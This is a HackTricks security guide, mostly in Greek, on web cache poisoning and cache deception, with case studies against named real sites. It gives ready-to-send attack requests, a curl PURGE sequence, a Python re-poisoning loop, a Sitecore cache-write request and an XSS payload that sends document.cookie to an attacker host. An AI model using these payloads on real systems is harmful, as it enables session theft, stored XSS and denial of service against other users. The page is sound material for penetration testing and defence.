Cache Poisoning and Cache Deception
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Η διαφορά
Ποια είναι η διαφορά μεταξύ web cache poisoning και web cache deception;
- Στο web cache poisoning, ο επιτιθέμενος προκαλεί στην εφαρμογή να αποθηκεύσει κάποιο κακόβουλο περιεχόμενο στο cache, και αυτό το περιεχόμενο σερβίρεται από το cache σε άλλους χρήστες της εφαρμογής.
- Στο web cache deception, ο επιτιθέμενος προκαλεί την εφαρμογή να αποθηκεύσει ευαίσθητο περιεχόμενο που ανήκει σε άλλον χρήστη στο cache, και στη συνέχεια ο επιτιθέμενος ανακτά αυτό το περιεχόμενο από το cache.
Cache Poisoning
Cache poisoning στοχεύει στη χειραγώγηση του client-side cache ώστε να αναγκάσει τους clients να φορτώνουν πόρους που είναι απροσδόκητοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Το εύρος του αντίκτυπου εξαρτάται από τη δημοφιλία της επηρεαζόμενης σελίδας, καθώς η μολυσμένη απάντηση σερβίρεται αποκλειστικά στους χρήστες που επισκέπτονται τη σελίδα κατά τη διάρκεια της περιόδου μόλυνσης του cache.
Η εκτέλεση μιας επίθεσης cache poisoning περιλαμβάνει αρκετά βήματα:
- Identification of Unkeyed Inputs: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να γίνει caching ενός αιτήματος, μπορούν να αλλάξουν την απάντηση που επιστρέφει ο server. Η αναγνώριση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν το cache.
- Exploitation of the Unkeyed Inputs: Μετά την αναγνώριση των unkeyed inputs, το επόμενο βήμα είναι να βρείτε πώς να καταχραστείτε αυτές τις παραμέτρους για να τροποποιήσετε την απάντηση του server με τρόπο που ωφελεί τον επιτιθέμενο.
- Ensuring the Poisoned Response is Cached: Το τελικό βήμα είναι να διασφαλίσετε ότι η τροποποιημένη απάντηση αποθηκεύεται στο cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης προσπελάσει την επηρεασμένη σελίδα ενώ το cache είναι μολυσμένο θα λάβει την μολυσμένη απάντηση.
Ανακάλυψη: Έλεγχος HTTP headers
Συνήθως, όταν μια απάντηση έχει αποθηκευτεί στο cache θα υπάρχει ένα header που το δηλώνει, μπορείς να ελέγξεις ποια headers πρέπει να προσέξεις σε αυτό το post: HTTP Cache headers.
Ανακάλυψη: Κωδικοί σφάλματος που cache-άρονται
Αν νομίζεις ότι η απάντηση αποθηκεύεται σε cache, μπορείς να δοκιμάσεις να στείλεις αιτήματα με ένα κακό header, τα οποία θα πρέπει να απαντηθούν με status code 400. Έπειτα προσπάθησε να έχεις πρόσβαση στο αίτημα κανονικά και αν η απάντηση είναι status code 400, τότε ξέρεις ότι είναι ευάλωτο (και θα μπορούσες ακόμη να εκτελέσεις DoS).
You can find more options in:
Ωστόσο, λάβε υπόψη ότι μερικές φορές αυτού του είδους οι status codes δεν αποθηκεύονται στο cache, οπότε αυτή η δοκιμή μπορεί να μην είναι αξιόπιστη.
Ανακάλυψη: Αναγνώριση και αξιολόγηση unkeyed inputs
Μπορείς να χρησιμοποιήσεις Param Miner για να brute-force παραμέτρους και headers που μπορεί να αλλάζουν την απάντηση της σελίδας. Για παράδειγμα, μια σελίδα μπορεί να χρησιμοποιεί το header X-Forwarded-For για να υποδείξει στον client να φορτώσει το script από εκεί:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Προκαλέστε μια επιβλαβή απόκριση από τον back-end server
Μόλις εντοπίσετε την παράμετρο/κεφαλίδα, ελέγξτε πώς φιλτράρεται και πού αντανακλάται ή επηρεάζει την απόκριση από την κεφαλίδα. Μπορείτε να το εκμεταλλευτείτε (να εκτελέσετε XSS ή να φορτώσετε JS που ελέγχετε; να κάνετε DoS;…)
Κάντε την απόκριση cached
Αφού έχετε εντοπίσει τη σελίδα που μπορεί να εκμεταλλευτείτε, ποια παράμετρο/κεφαλίδα να χρησιμοποιήσετε και πώς να την εκμεταλλευτείτε, πρέπει να αποθηκεύσετε τη σελίδα στην cache. Ανάλογα με τον πόρο που προσπαθείτε να βάλετε στην cache, αυτό μπορεί να πάρει κάποιο χρόνο — ίσως χρειαστεί να δοκιμάζετε για μερικά δευτερόλεπτα.
Η κεφαλίδα X-Cache στην απόκριση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή miss όταν το request δεν έχει γίνει cache και την τιμή hit όταν έχει γίνει cache.
Η κεφαλίδα Cache-Control είναι επίσης ενδιαφέρουσα για να γνωρίζετε αν ένας πόρος γίνεται cache και πότε θα ξανα-cacheαριστεί: Cache-Control: public, max-age=1800
Μια ακόμη ενδιαφέρουσα κεφαλίδα είναι η Vary. Αυτή η κεφαλίδα χρησιμοποιείται συχνά για να υποδείξει πρόσθετες κεφαλίδες που θεωρούνται ως μέρος του cache key ακόμα και αν κανονικά δεν συμμετέχουν στο κλειδί. Επομένως, αν ο επιτιθέμενος γνωρίζει το User-Agent του στόχου, μπορεί να δηλητηριάσει την cache για τους χρήστες που χρησιμοποιούν εκείνο το συγκεκριμένο User-Agent.
Μια ακόμα κεφαλίδα σχετική με την cache είναι η Age. Ορίζει το χρόνο σε δευτερόλεπτα που το αντικείμενο βρίσκεται στην proxy cache.
Όταν cacheάρετε ένα request, να είστε προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε γιατί κάποιες από αυτές μπορεί να χρησιμοποιηθούν απρόβλεπτα ως keyed και ο στόχος θα πρέπει να χρησιμοποιεί την ίδια κεφαλίδα. Πάντα δοκιμάζετε ένα Cache Poisoning με διαφορετικούς browsers για να ελέγξετε αν λειτουργεί.
Βασικές μελέτες περίπτωσης για cache poisoning
HackerOne παγκόσμια ανακατεύθυνση μέσω X-Forwarded-Host
- Ο origin έκανε πρότυπες ανακατευθύνσεις και canonical URLs με το
X-Forwarded-Host, αλλά το cache key χρησιμοποίησε μόνο την κεφαλίδαHost, οπότε μία απάντηση δηλητηρίασε κάθε επισκέπτη του/. - Δηλητηρίαση με:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
- Άμεσα επαναζητήστε το
/χωρίς την ψευδεπίγραφη κεφαλίδα· αν η ανακατεύθυνση συνεχίζεται, έχετε ένα global host-spoofing primitive που συχνά αναβαθμίζει reflected redirects/Open Graph links σε stored issues.
GitHub αποθετήριο DoS μέσω Content-Type + PURGE
- Η ανώνυμη κίνηση βασιζόταν μόνο στο path, ενώ το backend μπήκε σε κατάσταση σφάλματος όταν είδε ένα απροσδόκητο
Content-Type. Αυτή η απάντηση σφάλματος ήταν cacheable για κάθε μη αυθεντικοποιημένο χρήστη ενός repo. - Το GitHub επίσης (κατά λάθος) σεβάστηκε το ρήμα
PURGE, επιτρέποντας στον επιτιθέμενο να καθαρίσει μια υγιή εγγραφή και να αναγκάσει τα caches να φορτώσουν την μολυσμένη παραλλαγή κατ’ απαίτηση:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
- Συγκρίνετε πάντα authenticated vs anonymous cache keys, κάντε fuzz σε headers που σπάνια χρησιμοποιούνται ως κλειδί όπως το
Content-Type, και κάντε probe για εκτεθειμένα cache-maintenance verbs ώστε να αυτοματοποιήσετε το re-poisoning.
Shopify cross-host persistence loops
- Multi-layer caches μερικές φορές απαιτούν πολλαπλά identical hits πριν commit ενός νέου object. Η Shopify επανεχρησιμοποίησε το ίδιο cache σε πολλούς localized hosts, οπότε persistence σήμαινε αντίκτυπο σε πολλές properties.
- Χρησιμοποιήστε σύντομους automation loops για να επανασπείρετε επανειλημμένα:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
- Μετά από μια απάντηση
hit, σαρώστε άλλους hosts/πόρους που μοιράζονται το ίδιο όνομα χώρου της cache για να επιδείξετε την έκταση επιπτώσεων cross-domain.
Ανακατεύθυνση πόρου JS → αλυσίδα stored XSS
- Ιδιωτικά προγράμματα συχνά φιλοξενούν κοινόχρηστο JS όπως
/assets/main.jsσε δεκάδες υποτομείς. Εάν τοX-Forwarded-Hostεπηρεάζει τη λογική ανακατεύθυνσης για αυτούς τους πόρους αλλά δεν χρησιμοποιείται ως κλειδί, η αποθηκευμένη στην cache απάντηση γίνεται ένα 301 προς κακόβουλο JS, οδηγώντας σε stored XSS παντού όπου εισάγεται ο πόρος.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
- Χαρτογραφήστε ποιοι hosts επαναχρησιμοποιούν την ίδια asset path ώστε να μπορείτε να αποδείξετε multi-subdomain compromise.
GitLab static DoS μέσω X-HTTP-Method-Override
- Το GitLab εξυπηρετούσε static bundles από Google Cloud Storage, το οποίο υποστηρίζει
X-HTTP-Method-Override. Η αντικατάσταση του GET με HEAD επέστρεφε ένα cacheable200 OKμεContent-Length: 0, και το edge cache αγνοούσε τη μέθοδο HTTP κατά τη δημιουργία του key.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
- Ένα μόνο αίτημα αντικατέστησε το JS bundle με κενό σώμα για κάθε GET, ουσιαστικά DoSing το UI. Πάντα δοκιμάζετε method overrides (
X-HTTP-Method-Override,X-Method-Override, κλπ.) σε στατικά αρχεία και επιβεβαιώστε αν η cache διαφοροποιείται ανά method.
HackerOne βρόχος στατικού asset μέσω X-Forwarded-Scheme
- Rails’ Rack middleware εμπιστευόταν το
X-Forwarded-Schemeγια να αποφασίσει αν θα επιβάλει HTTPS. Το Spoofing τουhttpστο/static/logo.pngενεργοποίησε ένα cacheable 301, οπότε όλοι οι χρήστες στη συνέχεια λάμβαναν redirects (ή loops) αντί για το asset:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
- Συνδύασε scheme spoofing με host spoofing όταν είναι δυνατόν για να δημιουργήσεις μη αναστρέψιμα redirects για πόρους με υψηλή ορατότητα.
Cloudflare host-header casing mismatch
- Η Cloudflare κανονικοποιούσε την κεφαλίδα
Hostγια ταcache keys, αλλά προωθούσε την αρχική πεζο/κεφαλική μορφή προς τα origins. Η αποστολήHost: TaRgEt.CoMπροκάλεσε εναλλακτική συμπεριφορά στο origin routing/templating, ενώ ταυτόχρονα συμπλήρωνε το canonical lowercase cache bucket.
GET / HTTP/1.1
Host: TaRgEt.CoM
- Εντοπίστε/απαριθμήστε tenants του CDN αναπαράγοντας mixed-case hosts (και άλλα normalized headers) και συγκρίνοντας (diff) την cached response με την origin response για να αποκαλύψετε shared-platform cache poisonings.
Red Hat Open Graph meta poisoning
- Η εισαγωγή του
X-Forwarded-Hostμέσα σε Open Graph tags μετέτρεψε μια reflected HTML injection σε stored XSS μόλις το CDN έκανε cache τη σελίδα. Χρησιμοποιήστε έναν ακίνδυνο cache buster κατά τη διάρκεια των δοκιμών για να αποφύγετε να βλάψετε χρήστες παραγωγής:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
- Social media scrapers consume cached Open Graph tags, οπότε μία μόνο poisoned εγγραφή διανέμει το payload πολύ πέρα από τους άμεσους επισκέπτες.
Παραδείγματα Εκμετάλλευσης
Πιο εύκολο παράδειγμα
Ένα header όπως το X-Forwarded-For αντανακλάται στην απόκριση χωρίς καθαρισμό.
Μπορείς να στείλεις ένα βασικό XSS payload και poison the cache, έτσι ώστε όλοι όσοι προσπελάσουν τη σελίδα να υποστούν XSS:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Σημειώστε ότι αυτό θα δηλητηριάσει ένα αίτημα προς /en?region=uk, όχι προς /en
Cache poisoning to DoS
Cache poisoning through CDNs
Στο αυτό το writeup εξηγείται το ακόλουθο απλό σενάριο:
- Το CDN θα κάνει cache οτιδήποτε κάτω από
/share/ - Το CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει
%2F..%2F, επομένως μπορεί να χρησιμοποιηθεί ως path traversal για πρόσβαση σε άλλες ευαίσθητες τοποθεσίες που θα cacheαριστούν όπωςhttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 - Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει
%2F..%2F, και θα απαντήσει με/api/auth/session, το οποίο περιέχει το auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Τα Cookies μπορούν επίσης να αντανακλώνται στην απόκριση μιας σελίδας. Εάν μπορείτε να το καταχραστείτε για να προκαλέσετε XSS, για παράδειγμα, θα μπορούσατε να εκμεταλλευτείτε XSS σε πολλούς clients που φορτώνουν την κακόβουλη cache απάντηση.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Σημειώστε ότι αν το ευάλωτο cookie χρησιμοποιείται έντονα από τους χρήστες, τα κανονικά αιτήματα θα καθαρίζουν το cache.
Δημιουργία αποκλίσεων με διαχωριστές, κανονικοποίηση και τελείες
Ελέγξτε:
Cache Poisoning via URL discrepancies
Cache poisoning with path traversal για να κλέψετε API key
This writeup explains πώς ήταν δυνατό να κλαπεί ένα OpenAI API key με ένα URL όπως https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 επειδή οτιδήποτε που ταιριάζει με /share/* θα γίνεται cached χωρίς το Cloudflare να κανονικοποιεί το URL, κάτι που γινόταν όταν το request έφτανε στον web server.
Αυτό εξηγείται επίσης καλύτερα στο:
Cache Poisoning via URL discrepancies
Χρήση πολλαπλών headers για να εκμεταλλευτείτε web cache poisoning vulnerabilities
Μερικές φορές θα χρειαστεί να exploit several unkeyed inputs για να μπορέσετε να καταχραστείτε ένα cache. Για παράδειγμα, μπορεί να βρείτε ένα Open redirect αν θέσετε X-Forwarded-Host σε ένα domain που ελέγχετε και X-Forwarded-Scheme σε http. If ο server είναι forwarding όλα τα HTTP requests to HTTPS και χρησιμοποιεί το header X-Forwarded-Scheme ως το domain name για το redirect, μπορείτε να ελέγξετε προς ποια διεύθυνση θα δείχνει η σελίδα μέσω του redirect.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Εκμετάλλευση με περιορισμένο Varyheader
Αν διαπιστώσετε ότι το X-Host header χρησιμοποιείται ως domain name to load a JS resource αλλά το Vary header στην απάντηση δείχνει User-Agent, τότε πρέπει να βρείτε τρόπο να exfiltrate τον User-Agent του θύματος και να poison την cache χρησιμοποιώντας αυτόν τον user agent:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Στείλε ένα GET request με το αίτημα στο URL και στο body. Εάν ο web server χρησιμοποιεί αυτό που βρίσκεται στο body αλλά ο cache server κάνει cache αυτό που βρίσκεται στο URL, οποιοσδήποτε έχει πρόσβαση σε αυτό το URL στην πραγματικότητα θα χρησιμοποιήσει την παράμετρο από το body. Όπως η vuln που βρήκε ο James Kettle στην ιστοσελίδα Github:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Υπάρχει ένα PortSwigger lab γι’ αυτό: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
Για παράδειγμα, είναι δυνατό να διαχωρίσετε τις παράμετροι σε ruby servers χρησιμοποιώντας το χαρακτήρα ; αντί του &. Αυτό μπορεί να χρησιμοποιηθεί για να τοποθετήσετε τιμές μη-κλειδωμένων παραμέτρων μέσα σε κλειδωμένες και να τις καταχραστείτε.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Μάθετε εδώ πώς να πραγματοποιείτε Cache Poisoning attacks by abusing HTTP Request Smuggling.
Automated testing for Web Cache Poisoning
Το Web Cache Vulnerability Scanner μπορεί να χρησιμοποιηθεί για αυτόματη δοκιμή για web cache poisoning. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι πολύ παραμετροποιήσιμο.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Αυτό το πραγματικό μοτίβο συνδυάζει μια header-based reflection primitive με τη συμπεριφορά CDN/WAF για να δηλητηριάσει αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες:
- Το κύριο HTML αντανακλούσε μια μη-εμπιστευόμενη κεφαλίδα αιτήματος (π.χ.,
User-Agent) σε εκτελέσιμο πλαίσιο. - Ο CDN αφαίρεσε τα cache headers αλλά υπήρχε εσωτερική/origin cache. Ο CDN επίσης auto-cached αιτήματα που τελειώνουν σε στατικές επεκτάσεις (π.χ.,
.js), ενώ ο WAF εφάρμοζε πιο χαλαρή επιθεώρηση περιεχομένου για GETs στατικών assets. - Ιδιομορφίες στη ροή των αιτημάτων επέτρεψαν σε ένα αίτημα προς διαδρομή
.jsνα επηρεάσει το cache key/variant που χρησιμοποιήθηκε για το επακόλουθο κύριο HTML, επιτρέποντας cross-user XSS μέσω header reflection.
Πρακτική συνταγή (παρατηρήθηκε σε δημοφιλή CDN/WAF):
- Από μια clean IP (αποφύγετε προηγούμενες υποβαθμίσεις λόγω reputation), ορίστε έναν κακόβουλο
User-Agentμέσω browser ή Burp Proxy Match & Replace. - Στο Burp Repeater, προετοιμάστε μια ομάδα δύο αιτημάτων και χρησιμοποιήστε “Send group in parallel” (το single-packet mode δουλεύει καλύτερα):
- Πρώτο αίτημα: GET σε ένα
.jsresource path στο ίδιο origin ενώ στέλνετε τον κακόβουλοUser-Agent. - Αμέσως μετά: GET της κύριας σελίδας (
/).
- Ο αγώνας δρομολόγησης CDN/WAF μαζί με το auto-cached
.jsσυχνά σπέρνει μια poisoned cached HTML παραλλαγή που στη συνέχεια σερβίρεται σε άλλους επισκέπτες που μοιράζονται τις ίδιες συνθήκες cache key (π.χ., ίδιεςVaryδιαστάσεις όπωςUser-Agent).
Example header payload (to exfiltrate non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Πολλές CDNs κρύβουν τα cache headers· το poisoning μπορεί να εμφανιστεί μόνο σε κύκλους ανανέωσης πολλών ωρών. Χρησιμοποιήστε πολλαπλά vantage IPs και throttle για να αποφύγετε rate-limit ή reputation triggers.
- Η χρήση ενός IP από το ίδιο το cloud του CDN μερικές φορές βελτιώνει τη συνέπεια του routing.
- Αν υπάρχει αυστηρό CSP, αυτό εξακολουθεί να δουλεύει αν η reflection εκτελεστεί στο κύριο HTML context και το CSP επιτρέπει inline execution ή παρακάμπτεται από το context.
Impact:
- Αν τα session cookies δεν είναι
HttpOnly, είναι δυνατή η zero-click ATO με μαζική εξαγωγή τουdocument.cookieαπό όλους τους χρήστες στους οποίους σερβίρεται το poisoned HTML.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Αυτό γράφει αυθαίρετο HTML κάτω από ένα attacker‑chosen cache key, επιτρέποντας ακριβές cache poisoning μόλις τα cache keys γίνουν γνωστά.
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
Ευάλωτα Παραδείγματα
Apache Traffic Server (CVE-2021-27577)
Το ATS προώθησε το fragment μέσα στο URL χωρίς να το αφαιρέσει και δημιούργησε το cache key χρησιμοποιώντας μόνο το host, path και query (αγνοώντας το fragment). Έτσι το αίτημα /#/../?r=javascript:alert(1) στάλθηκε στο backend ως /#/../?r=javascript:alert(1) και το cache key δεν περιείχε το payload, μόνο host, path και query.
403 και Storage Buckets
Το Cloudflare προηγουμένως έκανε cache αποκρίσεις 403. Η προσπάθεια πρόσβασης σε S3 ή Azure Storage Blobs με λανθασμένα Authorization headers θα οδηγούσε σε απάντηση 403 που αποθηκεύτηκε στην cache. Αν και το Cloudflare έχει σταματήσει να κάνει cache απαντήσεις 403, αυτή η συμπεριφορά μπορεί ακόμα να υπάρχει σε άλλες proxy υπηρεσίες.
Injecting Keyed Parameters
Οι caches συχνά περιλαμβάνουν συγκεκριμένες GET παραμέτρους στο cache key. Για παράδειγμα, το Varnish της Fastly έκανε cache την παράμετρο size στα αιτήματα. Ωστόσο, αν μια URL-encoded έκδοση της παραμέτρου (π.χ. siz%65) εστάλη επίσης με λανθασμένη τιμή, το cache key θα κατασκευαζόταν χρησιμοποιώντας τη σωστή size παράμετρο. Παρ’ όλα αυτά, το backend θα επεξεργαζόταν την τιμή στην URL-encoded παράμετρο. Το URL-encoding της δεύτερης size παραμέτρου οδηγούσε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Η ανάθεση τιμής 0 σε αυτή την παράμετρο προκαλούσε cacheable 400 Bad Request.
Κανόνες User Agent
Κάποιοι developers μπλοκάρουν αιτήματα με user-agents που ταιριάζουν με αυτά εργαλείων μεγάλης κίνησης όπως FFUF ή Nuclei για να διαχειριστούν το φορτίο του server. Παραδόξως, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως cache poisoning και DoS.
Μη έγκυρα πεδία header
Το RFC7230 καθορίζει τους αποδεκτούς χαρακτήρες στα ονόματα header. Headers που περιέχουν χαρακτήρες εκτός του καθορισμένου εύρους tchar ιδανικά θα πρέπει να προκαλούν 400 Bad Request. Στην πράξη, οι servers δεν εφαρμόζουν πάντα αυτό το standard. Ένα αξιοσημείωτο παράδειγμα είναι το Akamai, το οποίο προωθεί headers με μη έγκυρους χαρακτήρες και κάνει cache οποιοδήποτε 400 error, εφόσον δεν υπάρχει το header cache-control. Βρέθηκε ένα εκμεταλλεύσιμο μοτίβο όπου η αποστολή ενός header με παράνομο χαρακτήρα, όπως \, οδηγούσε σε cacheable 400 Bad Request.
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
The goal of Cache Deception is to make clients φορτώνουν πόρους που πρόκειται να αποθηκευτούν στην cache με τις ευαίσθητες πληροφορίες τους.
Πρώτα απ’ όλα σημειώστε ότι επεκτάσεις όπως .css, .js, .png κ.λπ. συνήθως ρυθμίζονται να αποθηκεύονται στην cache. Επομένως, αν έχετε πρόσβαση στο www.example.com/profile.php/nonexistent.js η cache πιθανότατα θα αποθηκεύσει την απόκριση επειδή βλέπει την .js επέκταση. Όμως, αν η εφαρμογή απαντάει με τα ευαίσθητα περιεχόμενα χρήστη που είναι αποθηκευμένα στο www.example.com/profile.php, μπορείτε να κλέψετε αυτά τα περιεχόμενα από άλλους χρήστες.
Άλλα πράγματα για δοκιμή:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
Στο παράδειγμα εξηγείται ότι αν φορτώσετε μια μη-υπάρχουσα σελίδα όπως http://www.example.com/home.php/non-existent.css το περιεχόμενο του http://www.example.com/home.php (με τις ευαίσθητες πληροφορίες του χρήστη) θα επιστραφεί και ο cache server θα αποθηκεύσει το αποτέλεσμα.
Έπειτα, ο attacker μπορεί να αποκτήσει πρόσβαση στο http://www.example.com/home.php/non-existent.css μέσω του δικού του browser και να παρατηρήσει τις εμπιστευτικές πληροφορίες των χρηστών που είχαν επισκεφτεί προηγουμένως.
Σημειώστε ότι ο cache proxy θα πρέπει να είναι ρυθμισμένος να κάνει cache αρχεία βάσει της επέκτασης του αρχείου (.css) και όχι βάσει του content-type. Στο παράδειγμα http://www.example.com/home.php/non-existent.css θα έχει text/html content-type αντί για text/css mime type.
Μάθετε εδώ πώς να εκτελέσετε Cache Deceptions attacks abusing HTTP Request Smuggling.
CSPT-assisted authenticated cache poisoning (Account Takeover)
This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.
Γενική ιδέα:
- Ένα ευαίσθητο API endpoint απαιτεί ένα custom auth header και είναι σωστά επισημασμένο ως non-cacheable από τον origin.
- Η προσθήκη ενός static-looking επίθηματος (π.χ. .css) κάνει το CDN να θεωρεί το path ως static asset και να αποθηκεύει την απόκριση στην cache, συνήθως χωρίς να διαφοροποιεί με βάση ευαίσθητα headers.
- Η SPA περιλαμβάνει CSPT: ενώνει ένα user-controlled path segment στο API URL ενώ επισυνάπτει το auth header του victim (π.χ. X-Auth-Token). Με την έγχυση ../.. traversal, το authenticated fetch ανακατευθύνεται στην cacheable path παραλλαγή (…/v1/token.css), προκαλώντας το CDN να κάνει cache το token JSON του victim υπό έναν public key.
- Ο οποιοσδήποτε μπορεί τότε να κάνει GET το ίδιο cache key χωρίς authentication και να ανακτήσει το token του victim.
Παράδειγμα
- Ευαίσθητο endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- Κατάληξη που φαίνεται στατική μετατρέπει το CDN σε cacheable:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- CSPT σε SPA επισυνάπτει auth header και επιτρέπει traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');
const apiUrl = `https://api.example.com/v1/users/info/${userId}`;
fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
- Αλυσίδα εκμετάλλευσης:
- Προσελκύστε το θύμα σε ένα URL που εισάγει dot-segments στην παράμετρο διαδρομής του SPA, π.χ.:
- Το SPA κάνει ένα authenticated fetch προς:
- Η κανονικοποίηση του browser το επιλύει σε:
- Το CDN θεωρεί το .css ως στατικό asset και cacheάρει το JSON με Cache-Control: public, max-age=…
- Δημόσια ανάκτηση: οποιοσδήποτε μπορεί να κάνει GET https://api.example.com/v1/token.css και να αποκτήσει το cached token JSON.
Προϋποθέσεις
- Το SPA κάνει authenticated fetch/XHR προς την ίδια API origin (ή cross-origin με λειτουργικό CORS) και συνημμένα ευαίσθητα headers ή bearer tokens.
- Το Edge/CDN εφαρμόζει caching βάσει extension για μονοπάτια που μοιάζουν στατικά (π.χ., *.css, *.js, images) και δεν διαφοροποιεί το cache key με βάση το ευαίσθητο header.
- Η origin του βασικού endpoint δεν είναι cacheable (σωστό), αλλά η παραλλαγή με επίθημα extension επιτρέπεται ή δεν μπλοκάρεται από κανόνες edge.
Λίστα ελέγχου επικύρωσης
- Εντοπίστε ευαίσθητα δυναμικά endpoints και δοκιμάστε καταλήξεις όπως .css, .js, .jpg, .json. Ψάξτε για Cache-Control: public/max-age και X-Cache: Hit (ή αντίστοιχο, π.χ., CF-Cache-Status) ενώ το περιεχόμενο παραμένει JSON.
- Βρείτε client κώδικα που συνενώνει user-controlled input σε API paths ενώ προσθέτει auth headers. Εισάγετε ../ ακολουθίες για να ανακατευθύνετε το authenticated request στο target endpoint.
- Επιβεβαιώστε ότι το authenticated header υπάρχει στο retargeted request (π.χ., σε proxy ή μέσω server-side logs) και ότι το CDN cacheάρει την απόκριση κάτω από τη διασχισμένη διαδρομή.
- Από ένα νέο context (χωρίς auth), ζητήστε την ίδια διαδρομή και επιβεβαιώστε ότι το secret JSON σερβίρεται από το cache.
Αυτόματα Εργαλεία
- toxicache: Golang scanner για να βρει web cache poisoning vulnerabilities σε λίστα URL και να δοκιμάσει πολλαπλές τεχνικές injection.
- CacheDecepHound: Python scanner σχεδιασμένος για να εντοπίζει Cache Deception vulnerabilities σε web servers.
Αναφορές
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
